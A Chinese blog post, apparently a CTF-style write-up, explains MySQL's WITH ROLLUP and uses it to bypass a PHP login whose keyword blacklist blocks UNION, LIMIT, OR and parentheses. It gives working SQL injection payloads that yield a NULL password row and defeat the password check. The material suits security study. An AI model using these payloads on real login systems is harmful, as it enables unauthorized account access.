说明
工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。
rollup
简介
mysql中的group by
后面可以接with rollup
修饰语,使用with rollup
修饰语可以在group by
结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24# 没有rollup
mysql> select Host,User from user group by host;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
+-----------+------------+
4 rows in set (0.00 sec)
# 有rollup
mysql> select Host,User from user group by host with rollup ;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
| NULL | root |
+-----------+------------+
5 rows in set (0.00 sec)
可以看到使用with rollup
之后,返回结果中会多一行,且Host字段为NULL。
以一个稍微复杂一点的例子来说明with rollup
的用法。
创建数据库1
2
3
4
5CREATE TABLE `t` (
`id` int(11) DEFAULT NULL,
`id2` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into t value(11,11),(12,12),(13,13);
使用rollup查询1
2
3
4
5
6
7
8
9
10mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
+------+----------+----------+
| id | sum(id2) | avg(id2) |
+------+----------+----------+
| 11 | 11 | 11.0000 |
| 12 | 12 | 12.0000 |
| 13 | 13 | 13.0000 |
| NULL | 36 | 12.0000 |
+------+----------+----------+
4 rows in set (0.00 sec)
可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。
rollup绕过检测
存在users表,其中仅仅只存在一条记录。1
2
3
4
5
6
7
8
9-- auto-generated definition
CREATE TABLE users
(
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NULL,
password VARCHAR(255) NULL,
CONSTRAINT users_id_uindex
UNIQUE (id)
);
需要绕过的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28function AttackFilter($StrKey,$StrValue,$arrReq) {
if(is_array($StrValue)) {
$StrValue = implode($StrValue);
}
if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
print "the attack is detected";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";
foreach ($_POST as $key=>$value) {
AttackFilter($key,$value,$filter);
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);
if(mysqli_num_rows($query) == 1) {
$result = mysqli_fetch_array($query);
if($result['password'] == $password) {
die('right');
}
}
这道题目与常规的md5的登录注入类似,但是无法使用union
子句,此时就可以使用rollup
子句。1
select * from users where username=''or 1 group by username with rollup
会产生一条password
为NULL的记录,使用limit取出这条语句,然后传入空的password
,最后就会NULL==NULL
而绕过验证。
如果不知道用户名,可以使用username=' or 1=1
。但是在本例中过滤了or
,那么可以使用username='=0
(利用’’=0的特性)。
POC为:1
POST:username='=0 group by password with rollup limit 1 offset 1#&password=
<=>
同样是上面的那道题目,在POC中使用了limit
。如果limit
无法使用也被过滤了,则该如何绕过呢?
那么需要看一下SELECT的语法了。`1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
GROUP BY后面可以接HAVING
子句,如果需要HAVING
子句生效,则需要后面的where_condition
为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15mysql> select null=null;
+-----------+
| null=null |
+-----------+
| NULL |
+-----------+
1 row in set (0.00 sec)
mysql> select null<=>null;
+-------------+
| null<=>null |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
所以最终的POC为:1
username='=0 group by password with rollup having password <=>null %23&password=